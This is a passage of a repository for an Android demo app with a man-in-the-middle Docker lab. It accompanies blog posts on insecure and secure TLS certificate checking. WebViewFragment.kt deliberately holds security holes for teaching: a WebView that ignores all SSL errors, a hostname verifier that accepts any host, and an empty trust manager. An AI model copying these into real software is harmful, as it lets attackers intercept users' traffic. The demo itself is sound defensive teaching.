├── .gitignore
├── README.md
├── app
├── .gitignore
├── .idea
│ ├── .gitignore
│ └── codeStyles
│ │ ├── Project.xml
│ │ └── codeStyleConfig.xml
├── app
│ ├── .gitignore
│ ├── build.gradle
│ ├── proguard-rules.pro
│ └── src
│ │ └── main
│ │ ├── AndroidManifest.xml
│ │ ├── kotlin
│ │ └── com
│ │ │ └── example
│ │ │ └── insecuretls
│ │ │ ├── WebviewActivity.kt
│ │ │ └── ui
│ │ │ └── main
│ │ │ ├── SectionsPagerAdapter.kt
│ │ │ └── WebViewFragment.kt
│ │ └── res
│ │ ├── drawable-v24
│ │ └── ic_launcher_foreground.xml
│ │ ├── drawable
│ │ └── ic_launcher_background.xml
│ │ ├── layout
│ │ ├── activity_webview.xml
│ │ └── fragment_webview.xml
│ │ ├── mipmap-anydpi-v26
│ │ ├── ic_launcher.xml
│ │ └── ic_launcher_round.xml
│ │ ├── mipmap-hdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-mdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-xhdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-xxhdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── mipmap-xxxhdpi
│ │ ├── ic_launcher.webp
│ │ └── ic_launcher_round.webp
│ │ ├── raw
│ │ └── mitmtest_ca.crt
│ │ ├── values-land
│ │ └── dimens.xml
│ │ ├── values-night
│ │ └── themes.xml
│ │ ├── values-w1240dp
│ │ └── dimens.xml
│ │ ├── values-w600dp
│ │ └── dimens.xml
│ │ ├── values-w820dp
│ │ └── dimens.xml
│ │ ├── values
│ │ ├── colors.xml
│ │ ├── dimens.xml
│ │ ├── strings.xml
│ │ └── themes.xml
│ │ └── xml
│ │ └── network_security_config.xml
├── build.gradle
├── gradle.properties
├── gradle
│ └── wrapper
│ │ ├── gradle-wrapper.jar
│ │ └── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
└── settings.gradle
├── backend
├── nginx-backend.conf
├── nginx-certs
│ ├── mitmtest.com.crt
│ └── mitmtest.com.key
└── server-files
│ └── index.html
├── docker-compose.yaml
├── eve
├── Dockerfile
└── eve_files
│ ├── fake-cert.pem
│ ├── proxy.py
│ └── start.sh
├── run.sh
└── setup.sh
/.gitignore:
--------------------------------------------------------------------------------
1 | android-emulator-container-scripts/
2 | __pycache__/
3 | .idea/
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Containerized Demo for Insecure TLS Certificate Checking in Android
2 |
3 | ## Overview
4 |
5 | This repository contains the files you need to run the demos for our blog post series
6 | on TLS certificate checking in Android apps. The
7 | [first post](https://www.guardsquare.com/blog/insecure-tls-certificate-checking-in-android-apps)
8 | covers common implementation errors and the
9 | [second one](https://guardsquare.com/blog/how-to-securely-implement-tls-certificate-checking-in-android-apps)
10 | then explains how you can securely configure TLS connections even in cases when you have
11 | to deviate from the default behavior. There are two parts to the repo:
12 |
13 | 1. **Example app:** In [app/](app/) you will find the full AndroidStudio project for the example app that showcases
14 | different TLS checking implementations.
15 | 2. **Docker setup:** By running [setup.sh](setup.sh) you prepare a Docker environment consisting of several containers:
16 | An Android emulator is spawned and a web frontend to interact with it is made available on https://localhost
17 | (Note that this frontend uses a self-signed certificate). Additionally, an example web server container is
18 | created, which will be used as the backend for the demo scenarios. The last part of the setup is an attacker
19 | container, through which you will be able to interactively intercept web traffic between backend server and
20 | Android emulator.
21 |
22 | ## Scenario Overview
23 |
24 | The backend serves a simple HTML website over HTTPs. This mimicks the situation where sensitive data is provided
25 | over a secure connection. The catch is that the certificate it uses (see [backend/nginx-certs/](backend/nginx-certs))
26 | has not been issued by a globally trusted CA but rather by a custom one.
27 |
28 | The Android app in [app/](app/) fetches the data provided by this server and displays it to the user. In order to
29 | make Android accept the custom certificate, the default certificate checking mechanism needs to be modified.
30 | To showcase different insecure ways of doing so, the app consists of several tabs, where each
31 | fetches the data using a different workaround commonly found online. You can check out the corresponding
32 | source code in [WebViewFragment.kt](app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt).
33 |
34 | In the first blog post we cover three different types of implementation errors:
35 |
36 | 1. **[WebView ignores all SSL errors](https://www.guardsquare.com/blog/insecure-tls-certificate-checking-in-android-apps#webview):**
37 | See [setupInsecureWebView()](app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt#L58)
38 | 2. **[Malfunctioning X509TrustManager Implementations](https://www.guardsquare.com/blog/insecure-tls-certificate-checking-in-android-apps#Malfunctioning):**
39 | See [setupInsecureTrustManager()](app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt#L108)
40 | 3. **[Disabled Host Name Checks](https://www.guardsquare.com/blog/insecure-tls-certificate-checking-in-android-apps#host_name):**
41 | See [setupInsecureHostnameVerifier()](app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt#L82)
42 |
43 | The second blog post explains how to configure non-standard certificate checking behaviors in a secure way:
44 |
45 | 1. **[Allowing Custom Certificate Authorities](https://www.guardsquare.com/blog/how-to-securely-implement-tls-certificate-checking-in-android-apps#Allowing_Custom_Certificate_Authorities):**
46 | 1. **SDK 24 And Newer:** See [setupNetworkSecurityConfig()](app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt#L165)
47 | and [network_security_config.xml](app/app/src/main/res/xml/network_security_config.xml)
48 | 2. **Older Versions:** See [setupCustomCaLegacy()](app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt#L211)
49 | and [setupCustomCaLegacyWebview()](app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt#L260)
50 | 2. **[Certificate Pinning](https://www.guardsquare.com/blog/how-to-securely-implement-tls-certificate-checking-in-android-apps#Certificate_Pinning):**
51 | 1. **SDK 24 And Newer:** See [setupNetworkSecurityConfig()](app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt#L165)
52 | and [network_security_config.xml](app/app/src/main/res/xml/network_security_config.xml)
53 | 2. **Older Versions:** See [setupPinningLegacy()](app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt#L323)
54 | and [setupPinningLegacyWebview()](app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt#L405)
55 |
56 | This app will be installed to a containerized Android emulator that lives in the same virtual network as
57 | the backend server and the attacker. Setting this network up is explained in the next section.
58 |
59 | ## Prerequisites
60 |
61 | In order to launch the demo environment, you will need to have [docker-compose](https://docs.docker.com/compose/install/)
62 | installed, as well as Python3, NodeJS and npm. Also make sure to have the Android SDK installed (SDK platform version 31).
63 | The `ANDROID_SDK_ROOT` environment variable needs to point to its installation directory, usually `~/Android/Sdk`.
64 | All other necessary dependencies will be downloaded automatically.
65 |
66 | ## Docker Setup
67 |
68 | Running [setup.sh](setup.sh) will get the necessary files to set up the Docker containers, which may take a while,
69 | depending on your system performance and Internet speed. Afterwards you can launch the containers with [run.sh](run.sh).
70 | This script takes care of several things:
71 |
72 | 1. The Android emulator will be booted and a web interface to interact with it is made available on
73 | https://localhost (Note that the website uses a self-signed certificate). Login with username `user` and password
74 | `pass`. Then you should see the emulator screen, with which you can interact using your mouse.
75 | 2. In the meantime, the example app is compiled and once the emulator is fully booted up it is installed
76 | and launched automatically.
77 | 3. Once the app is running, a bash shell is opened on the attacker container so that you can interactively
78 | experiment with the man-in-the-middle setup. As a quick start, you can simply execute the [start.sh](eve/eve_files/start.sh)
79 | script that you will find in the current working directory where the shell was spawned (`/eve_files` on the container).
80 |
81 | This script sets up the attacker proxy using the [mitmproxy](https://mitmproxy.org/) tool without needing
82 | any user input. You can then observe intercepted traffic in the console that will show up.
83 | To exit the console and stop the attack, simply press Ctrl+C and confirm. Should you want to deviate
84 | from the default attacker script, feel free to inspect [start.sh](eve/eve_files/start.sh) and the associated
85 | [proxy.py](eve/eve_files/proxy.py) file.
86 |
87 | If you would like to experiment with the certificate pinning implementations,
88 | `start.sh` allows you to pass `--custom-ca`, which will instruct `mitmproxy` to use a certificate
89 | that was signed by the same custom CA that the example server uses. This mimics the situation that the
90 | attacker is indeed able to get a valid certificate for your domain, which would be trusted under normal circumstances.
91 | The additional certificate pinning step however is able to successfully detect the attack and refuse the connection.
92 | 5. After you are done exploring the demos, simply exit the attacker shell as usual (Ctrl+D or typing `exit`).
93 | This will automatically shut down the containers in a clean way.
94 |
95 |
--------------------------------------------------------------------------------
/app/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | # Created by https://www.toptal.com/developers/gitignore/api/androidstudio
3 | # Edit at https://www.toptal.com/developers/gitignore?templates=androidstudio
4 |
5 | ### AndroidStudio ###
6 | # Covers files to be ignored for android development using Android Studio.
7 |
8 | # Built application files
9 | *.apk
10 | *.ap_
11 | *.aab
12 |
13 | # Files for the ART/Dalvik VM
14 | *.dex
15 |
16 | # Java class files
17 | *.class
18 |
19 | # Generated files
20 | bin/
21 | gen/
22 | out/
23 |
24 | # Gradle files
25 | .gradle
26 | .gradle/
27 | build/
28 |
29 | # Signing files
30 | .signing/
31 |
32 | # Local configuration file (sdk path, etc)
33 | local.properties
34 |
35 | # Proguard folder generated by Eclipse
36 | proguard/
37 |
38 | # Log Files
39 | *.log
40 |
41 | # Android Studio
42 | /*/build/
43 | /*/local.properties
44 | /*/out
45 | /*/*/build
46 | /*/*/production
47 | captures/
48 | .navigation/
49 | *.ipr
50 | *~
51 | *.swp
52 |
53 | # Keystore files
54 | *.jks
55 | *.keystore
56 |
57 | # Google Services (e.g. APIs or Firebase)
58 | # google-services.json
59 |
60 | # Android Patch
61 | gen-external-apklibs
62 |
63 | # External native build folder generated in Android Studio 2.2 and later
64 | .externalNativeBuild
65 |
66 | # NDK
67 | obj/
68 |
69 | # IntelliJ IDEA
70 | *.iml
71 | *.iws
72 | /out/
73 |
74 | # User-specific configurations
75 | .idea/caches/
76 | .idea/libraries/
77 | .idea/shelf/
78 | .idea/workspace.xml
79 | .idea/tasks.xml
80 | .idea/.name
81 | .idea/compiler.xml
82 | .idea/copyright/profiles_settings.xml
83 | .idea/encodings.xml
84 | .idea/misc.xml
85 | .idea/modules.xml
86 | .idea/scopes/scope_settings.xml
87 | .idea/dictionaries
88 | .idea/vcs.xml
89 | .idea/jsLibraryMappings.xml
90 | .idea/datasources.xml
91 | .idea/dataSources.ids
92 | .idea/sqlDataSources.xml
93 | .idea/dynamic.xml
94 | .idea/uiDesigner.xml
95 | .idea/assetWizardSettings.xml
96 | .idea/gradle.xml
97 | .idea/jarRepositories.xml
98 | .idea/navEditor.xml
99 |
100 | # OS-specific files
101 | .DS_Store
102 | .DS_Store?
103 | ._*
104 | .Spotlight-V100
105 | .Trashes
106 | ehthumbs.db
107 | Thumbs.db
108 |
109 | # Legacy Eclipse project files
110 | .classpath
111 | .project
112 | .cproject
113 | .settings/
114 |
115 | # Mobile Tools for Java (J2ME)
116 | .mtj.tmp/
117 |
118 | # Package Files #
119 | *.war
120 | *.ear
121 |
122 | # virtual machine crash logs (Reference: http://www.java.com/en/download/help/error_hotspot.xml)
123 | hs_err_pid*
124 |
125 | ## Plugin-specific files:
126 |
127 | # mpeltonen/sbt-idea plugin
128 | .idea_modules/
129 |
130 | # JIRA plugin
131 | atlassian-ide-plugin.xml
132 |
133 | # Mongo Explorer plugin
134 | .idea/mongoSettings.xml
135 |
136 | # Crashlytics plugin (for Android Studio and IntelliJ)
137 | com_crashlytics_export_strings.xml
138 | crashlytics.properties
139 | crashlytics-build.properties
140 | fabric.properties
141 |
142 | ### AndroidStudio Patch ###
143 |
144 | !/gradle/wrapper/gradle-wrapper.jar
145 |
146 | # End of https://www.toptal.com/developers/gitignore/api/androidstudio
--------------------------------------------------------------------------------
/app/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 |
--------------------------------------------------------------------------------
/app/.idea/codeStyles/Project.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/app/.idea/codeStyles/codeStyleConfig.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
--------------------------------------------------------------------------------
/app/app/build.gradle:
--------------------------------------------------------------------------------
1 | plugins {
2 | id 'com.android.application'
3 | id 'org.jetbrains.kotlin.android'
4 | }
5 |
6 | android {
7 | compileSdk 31
8 |
9 | defaultConfig {
10 | applicationId "com.example.insecuretls"
11 | minSdk 21
12 | targetSdk 31
13 | versionCode 1
14 | versionName "1.0"
15 |
16 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
17 | }
18 |
19 | buildTypes {
20 | release {
21 | minifyEnabled false
22 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
23 | }
24 | }
25 | compileOptions {
26 | sourceCompatibility JavaVersion.VERSION_1_8
27 | targetCompatibility JavaVersion.VERSION_1_8
28 | }
29 | kotlinOptions {
30 | jvmTarget = '1.8'
31 | }
32 |
33 | buildFeatures {
34 | viewBinding true
35 | }
36 | }
37 |
38 | dependencies {
39 | implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.5.0'
40 | implementation 'androidx.core:core-ktx:1.7.0'
41 | implementation 'androidx.appcompat:appcompat:1.4.0'
42 | implementation 'com.google.android.material:material:1.4.0'
43 | implementation 'androidx.constraintlayout:constraintlayout:2.1.2'
44 | implementation 'androidx.lifecycle:lifecycle-livedata-ktx:2.4.0'
45 | implementation 'androidx.lifecycle:lifecycle-viewmodel-ktx:2.4.0'
46 | implementation 'com.squareup.okhttp3:okhttp:4.9.2'
47 | }
--------------------------------------------------------------------------------
/app/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
--------------------------------------------------------------------------------
/app/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
7 |
15 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/app/app/src/main/kotlin/com/example/insecuretls/WebviewActivity.kt:
--------------------------------------------------------------------------------
1 | package com.example.insecuretls
2 |
3 | import android.os.Bundle
4 | import androidx.appcompat.app.AppCompatActivity
5 | import androidx.viewpager.widget.ViewPager
6 | import com.example.insecuretls.databinding.ActivityWebviewBinding
7 | import com.example.insecuretls.ui.main.SectionsPagerAdapter
8 | import com.google.android.material.tabs.TabLayout
9 |
10 | class WebviewActivity : AppCompatActivity() {
11 |
12 | private lateinit var binding: ActivityWebviewBinding
13 |
14 | override fun onCreate(savedInstanceState: Bundle?) {
15 | super.onCreate(savedInstanceState)
16 |
17 | binding = ActivityWebviewBinding.inflate(layoutInflater)
18 | setContentView(binding.root)
19 |
20 | val sectionsPagerAdapter = SectionsPagerAdapter(this, supportFragmentManager)
21 | val viewPager: ViewPager = binding.viewPager
22 | viewPager.adapter = sectionsPagerAdapter
23 | val tabs: TabLayout = binding.tabs
24 | tabs.setupWithViewPager(viewPager)
25 | }
26 | }
--------------------------------------------------------------------------------
/app/app/src/main/kotlin/com/example/insecuretls/ui/main/SectionsPagerAdapter.kt:
--------------------------------------------------------------------------------
1 | package com.example.insecuretls.ui.main
2 |
3 | import android.content.Context
4 | import androidx.fragment.app.Fragment
5 | import androidx.fragment.app.FragmentManager
6 | import androidx.fragment.app.FragmentPagerAdapter
7 |
8 | enum class Implementation(val title: String) {
9 | WEBVIEW_IGNORING_TLS_ERRORS("Insecure WebViewClient"),
10 | TLS_CERTIFICATE_CHECK_DISABLED("Insecure HostnameVerifier"),
11 | MALFUNCTIONING_X509_TRUST_MANAGER("Insecure X509TrustManager"),
12 | NETWORK_SECURITY_CONFIG("Network Security Config"),
13 | CUSTOM_CA_LEGACY("Custom CA: Trust Manager"),
14 | CUSTOM_CA_LEGACY_WEBVIEW("Custom CA: WebView"),
15 | PINNING_LEGACY("Pinning: OkHttp"),
16 | PINNING_LEGACY_WEBVIEW("Pinning: WebViews")
17 | }
18 |
19 | /**
20 | * A [FragmentPagerAdapter] that returns a fragment corresponding to
21 | * one of the sections/tabs/pages.
22 | */
23 | class SectionsPagerAdapter(private val context: Context, fm: FragmentManager) :
24 | FragmentPagerAdapter(fm) {
25 |
26 | override fun getItem(position: Int): Fragment {
27 | // getItem is called to instantiate the fragment for the given page.
28 | // Return a PlaceholderFragment (defined as a static inner class below).
29 | return WebViewFragment.newInstance(position)
30 | }
31 |
32 | override fun getPageTitle(position: Int): CharSequence {
33 | return Implementation.values()[position].title
34 | }
35 |
36 | override fun getCount(): Int {
37 | return Implementation.values().size
38 | }
39 | }
--------------------------------------------------------------------------------
/app/app/src/main/kotlin/com/example/insecuretls/ui/main/WebViewFragment.kt:
--------------------------------------------------------------------------------
1 | package com.example.insecuretls.ui.main
2 |
3 | import android.net.http.SslError
4 | import android.os.Build.VERSION.SDK_INT
5 | import android.os.Bundle
6 | import android.os.Handler
7 | import android.os.Looper
8 | import android.util.Base64
9 | import android.view.LayoutInflater
10 | import android.view.View
11 | import android.view.ViewGroup
12 | import android.webkit.*
13 | import androidx.appcompat.app.AlertDialog
14 | import androidx.fragment.app.Fragment
15 | import com.example.insecuretls.R
16 | import com.example.insecuretls.databinding.FragmentWebviewBinding
17 | import kotlinx.coroutines.Dispatchers.Main
18 | import kotlinx.coroutines.GlobalScope
19 | import kotlinx.coroutines.async
20 | import kotlinx.coroutines.withContext
21 | import okhttp3.CertificatePinner
22 | import okhttp3.OkHttpClient
23 | import okhttp3.Request
24 | import java.io.BufferedInputStream
25 | import java.net.URL
26 | import java.security.KeyStore
27 | import java.security.SecureRandom
28 | import java.security.cert.CertificateFactory
29 | import java.security.cert.X509Certificate
30 | import javax.net.ssl.*
31 |
32 | class WebViewFragment : Fragment() {
33 |
34 | private lateinit var implementation: Implementation
35 | private var _binding: FragmentWebviewBinding? = null
36 |
37 | private val binding get() = _binding!!
38 |
39 | override fun onCreate(savedInstanceState: Bundle?) {
40 | super.onCreate(savedInstanceState)
41 | implementation = Implementation.values()[arguments?.getInt(ARG_SECTION_NUMBER) ?: 0]
42 | }
43 |
44 | override fun onCreateView(
45 | inflater: LayoutInflater, container: ViewGroup?,
46 | savedInstanceState: Bundle?
47 | ): View {
48 |
49 | _binding = FragmentWebviewBinding.inflate(inflater, container, false)
50 |
51 | when (implementation) {
52 | Implementation.WEBVIEW_IGNORING_TLS_ERRORS -> setupInsecureWebView()
53 | Implementation.TLS_CERTIFICATE_CHECK_DISABLED -> setupInsecureHostnameVerifier()
54 | Implementation.MALFUNCTIONING_X509_TRUST_MANAGER -> setupInsecureTrustManager()
55 | Implementation.NETWORK_SECURITY_CONFIG -> setupNetworkSecurityConfig()
56 | Implementation.CUSTOM_CA_LEGACY -> setupCustomCaLegacy()
57 | Implementation.CUSTOM_CA_LEGACY_WEBVIEW -> setupCustomCaLegacyWebview()
58 | Implementation.PINNING_LEGACY -> setupPinningLegacy()
59 | Implementation.PINNING_LEGACY_WEBVIEW -> setupPinningLegacyWebview()
60 | }
61 |
62 | return binding.root
63 | }
64 |
65 | /**
66 | * Set up the WebView to ignore all SSL errors.
67 | */
68 | private fun setupInsecureWebView() {
69 | binding.webview.webViewClient = object : WebViewClient() {
70 | override fun onReceivedSslError(
71 | view: WebView?,
72 | handler: SslErrorHandler?,
73 | error: SslError?
74 | ) {
75 | handler?.proceed()
76 | }
77 | }
78 |
79 | binding.fab.setOnClickListener {
80 | if (binding.webview.url == null) {
81 | binding.webview.loadUrl("https://www.mitmtest.com")
82 | } else {
83 | binding.webview.clearCache(true)
84 | binding.webview.reload()
85 | }
86 | }
87 | }
88 |
89 | /**
90 | * Disable the host name checking for SSL certificates.
91 | */
92 | private fun setupInsecureHostnameVerifier() {
93 | binding.fab.setOnClickListener {
94 | val url = URL("https://wrong.host.badssl.com")
95 | val connection = url.openConnection() as HttpsURLConnection
96 | connection.hostnameVerifier = HostnameVerifier { hostname, session -> true }
97 |
98 | GlobalScope.async {
99 | val content = connection.inputStream.bufferedReader().use { it.readText() }
100 |
101 | withContext(Main) {
102 | binding.webview.loadData(
103 | Base64.encodeToString(
104 | content.toByteArray(),
105 | Base64.NO_PADDING
106 | ),
107 | "text/html",
108 | "base64"
109 | )
110 | }
111 | }
112 | }
113 | }
114 |
115 | /**
116 | * Create a malfunctioning X509TrustManager implementation.
117 | */
118 | private fun setupInsecureTrustManager() {
119 | binding.fab.setOnClickListener {
120 | val insecureTrustManager = object : X509TrustManager {
121 | override fun checkClientTrusted(
122 | chain: Array?,
123 | authType: String?
124 | ) {
125 | // do nothing
126 | }
127 |
128 | override fun checkServerTrusted(
129 | chain: Array?,
130 | authType: String?
131 | ) {
132 | // do nothing
133 | }
134 |
135 | override fun getAcceptedIssuers() = null
136 | }
137 | val context = SSLContext.getInstance(TLS_VERSION)
138 | context.init(null, arrayOf(insecureTrustManager), SecureRandom())
139 |
140 | val url = URL("https://www.mitmtest.com")
141 | val connection = url.openConnection() as HttpsURLConnection
142 | connection.sslSocketFactory = context.socketFactory
143 |
144 | GlobalScope.async {
145 | val content = connection.inputStream.bufferedReader().use { it.readText() }
146 |
147 | withContext(Main) {
148 | binding.webview.loadData(
149 | Base64.encodeToString(
150 | content.toByteArray(),
151 | Base64.NO_PADDING
152 | ),
153 | "text/html",
154 | "base64"
155 | )
156 | }
157 | }
158 | }
159 | }
160 |
161 | /**
162 | * Setup the WebView without any custom trust manager, to showcase how the network security
163 | * configuration xml works without code changes.
164 | */
165 | private fun setupNetworkSecurityConfig() {
166 | binding.webview.webViewClient = object : WebViewClient() {
167 | override fun onReceivedSslError(
168 | view: WebView?,
169 | handler: SslErrorHandler?,
170 | error: SslError?
171 | ) {
172 | val cause = when (error?.primaryError) {
173 | SslError.SSL_NOTYETVALID -> "The certificate is only valid after ${error.certificate.validNotBeforeDate}"
174 | SslError.SSL_EXPIRED -> "The certificate has expired on ${error.certificate.validNotAfterDate}"
175 | SslError.SSL_IDMISMATCH -> "Hostname mismatch (url ${view?.url} but certificate is for ${error.certificate.issuedTo.cName})"
176 | SslError.SSL_UNTRUSTED -> "The certificate ${error.certificate} is not trusted"
177 | SslError.SSL_DATE_INVALID -> "Date is invalid"
178 | else -> "An unknown error occurred"
179 | }
180 | if (context != null) {
181 | val builder = AlertDialog.Builder(context!!)
182 | builder.apply {
183 | setTitle("SSL Error")
184 | setMessage(
185 | "Error validating server certificate: $cause\n" +
186 | "Attackers might want to steal your data."
187 | )
188 | setNegativeButton("Abort") { _, _ -> handler?.cancel() }
189 | }
190 | builder.create().show()
191 | } else {
192 | handler?.cancel()
193 | }
194 | }
195 | }
196 |
197 | binding.fab.setOnClickListener {
198 | if (binding.webview.url == null) {
199 | binding.webview.loadUrl("https://www.mitmtest.com")
200 | } else {
201 | binding.webview.clearCache(true)
202 | binding.webview.reload()
203 | }
204 | }
205 | }
206 |
207 | /**
208 | * Create a trust manager that accepts a custom CA certificate in addition to all
209 | * certificates in the system trust store.
210 | */
211 | private fun setupCustomCaLegacy() {
212 | binding.fab.setOnClickListener {
213 | val tmf = initTrustManagerFactory()
214 | val sslContext = SSLContext.getInstance(TLS_VERSION)
215 | sslContext.init(null, tmf.trustManagers, null)
216 |
217 | val defaultSocketFactory = HttpsURLConnection.getDefaultSSLSocketFactory()
218 | HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.socketFactory)
219 |
220 | val url = URL("https://www.mitmtest.com")
221 | val connection = url.openConnection() as HttpsURLConnection
222 |
223 | GlobalScope.async {
224 | var content: String
225 | try {
226 | content = connection.inputStream.bufferedReader().use { it.readText() }
227 | } catch (e: SSLException) {
228 | content = ""
229 | if (context != null) {
230 | withContext(Main) {
231 | val builder = AlertDialog.Builder(context!!)
232 | builder.apply {
233 | setTitle("SSL Exception")
234 | setMessage(e.message)
235 | setNegativeButton(R.string.abort) { _, _ -> }
236 | }
237 | builder.create().show()
238 | }
239 | }
240 | }
241 |
242 | withContext(Main) {
243 | binding.webview.loadData(
244 | Base64.encodeToString(
245 | content.toByteArray(),
246 | Base64.NO_PADDING
247 | ),
248 | "text/html",
249 | "base64"
250 | )
251 | }
252 | }
253 | HttpsURLConnection.setDefaultSSLSocketFactory(defaultSocketFactory)
254 | }
255 | }
256 |
257 | /**
258 | * Create a trust manager that is used to accept a custom CA certificate in a WebView.
259 | */
260 | private fun setupCustomCaLegacyWebview() {
261 | val tmf = initTrustManagerFactory()
262 |
263 | binding.webview.webViewClient = object : WebViewClient() {
264 | override fun onReceivedSslError(
265 | view: WebView?,
266 | handler: SslErrorHandler?,
267 | error: SslError?
268 | ) {
269 | val cause = when (error?.primaryError) {
270 | SslError.SSL_NOTYETVALID -> "The certificate is only valid after ${error.certificate.validNotBeforeDate}"
271 | SslError.SSL_EXPIRED -> "The certificate has expired on ${error.certificate.validNotAfterDate}"
272 | SslError.SSL_IDMISMATCH -> "Hostname mismatch (url ${view?.url} but certificate is for ${error.certificate.issuedTo.cName})"
273 | SslError.SSL_UNTRUSTED -> {
274 | try {
275 | val certField =
276 | error.certificate.javaClass.getDeclaredField("mX509Certificate")
277 | certField.isAccessible = true
278 | val cert = certField.get(error.certificate) as X509Certificate
279 | tmf.trustManagers.forEach {
280 | (it as X509TrustManager).checkServerTrusted(
281 | arrayOf(cert), "generic"
282 | )
283 | }
284 | handler?.proceed()
285 | return
286 | } catch (e: Exception) {
287 | "The certificate ${error.certificate} is not trusted"
288 | }
289 | }
290 | SslError.SSL_DATE_INVALID -> "Date is invalid"
291 | else -> "An unknown error occurred"
292 | }
293 | if (context != null) {
294 | val builder = AlertDialog.Builder(context!!)
295 | builder.apply {
296 | setTitle("SSL Error")
297 | setMessage(
298 | "Error validating server certificate: $cause\n" +
299 | "Attackers might want to steal your data."
300 | )
301 | setNegativeButton(R.string.abort) { _, _ -> handler?.cancel() }
302 | }
303 | builder.create().show()
304 | } else {
305 | handler?.cancel()
306 | }
307 | }
308 | }
309 |
310 | binding.fab.setOnClickListener {
311 | if (binding.webview.url == null) {
312 | binding.webview.loadUrl("https://www.mitmtest.com")
313 | } else {
314 | binding.webview.clearCache(true)
315 | binding.webview.reload()
316 | }
317 | }
318 | }
319 |
320 | /**
321 | * Enforce certificate pinning for the server certificate.
322 | */
323 | private fun setupPinningLegacy() {
324 | binding.fab.setOnClickListener {
325 | val tmf = initTrustManagerFactory()
326 | val sslContext = SSLContext.getInstance(TLS_VERSION)
327 | sslContext.init(null, tmf.trustManagers, null)
328 |
329 | val pinner = CertificatePinner.Builder()
330 | .add("*.mitmtest.com", "sha256/pcG7tltpGuaJrssJiqr5bmYc4iypr3QE65su1XuDcK8=")
331 | .build()
332 | val httpClient = OkHttpClient.Builder()
333 | // Custom socket factory is only needed because the pinned certificate is from a custom CA
334 | .sslSocketFactory(sslContext.socketFactory, tmf.trustManagers[0] as X509TrustManager)
335 | .certificatePinner(pinner)
336 | .build()
337 | val url = URL("https://www.mitmtest.com")
338 | val request = Request.Builder().url(url).build()
339 |
340 | GlobalScope.async {
341 | var content = ""
342 | try {
343 | val response = httpClient.newCall(request).execute()
344 | if (response.isSuccessful) {
345 | content = response.body?.string() ?: ""
346 | }
347 | } catch (e: SSLException) {
348 | if (context != null) {
349 | withContext(Main) {
350 | val builder = AlertDialog.Builder(context!!)
351 | builder.apply {
352 | setTitle("SSL Exception")
353 | setMessage(e.message)
354 | setNegativeButton(R.string.abort) { _, _ -> }
355 | }
356 | builder.create().show()
357 | }
358 | }
359 | }
360 |
361 | withContext(Main) {
362 | binding.webview.loadData(
363 | Base64.encodeToString(
364 | content.toByteArray(),
365 | Base64.NO_PADDING
366 | ),
367 | "text/html",
368 | "base64"
369 | )
370 | }
371 | }
372 | }
373 | }
374 |
375 | object ContentTypeParser {
376 | private const val PARTS_DELIMITER = ";"
377 | private const val VALUE_DELIMITER = "="
378 | private const val UTF8 = "UTF-8"
379 |
380 | private const val CHARSET = "charset"
381 |
382 | fun getMimeType(contentType: String): String {
383 | if (contentType.contains(PARTS_DELIMITER)) {
384 | val contentTypeParts = contentType.split(PARTS_DELIMITER.toRegex())
385 | return contentTypeParts[0].trim()
386 | }
387 | return contentType
388 | }
389 |
390 | fun getCharset(contentType: String): String {
391 | if (contentType.contains(PARTS_DELIMITER)) {
392 | val contentTypeParts = contentType.split(PARTS_DELIMITER.toRegex())
393 | val charsetParts = contentTypeParts[1].split(VALUE_DELIMITER.toRegex())
394 | if (charsetParts[0].trim().startsWith(CHARSET)) {
395 | return charsetParts[1].trim().toUpperCase()
396 | }
397 | }
398 | return UTF8
399 | }
400 | }
401 |
402 | /**
403 | * Add certificate pinning to a WebView.
404 | */
405 | private fun setupPinningLegacyWebview() {
406 | val tmf = initTrustManagerFactory()
407 | val sslContext = SSLContext.getInstance(TLS_VERSION)
408 | sslContext.init(null, tmf.trustManagers, null)
409 |
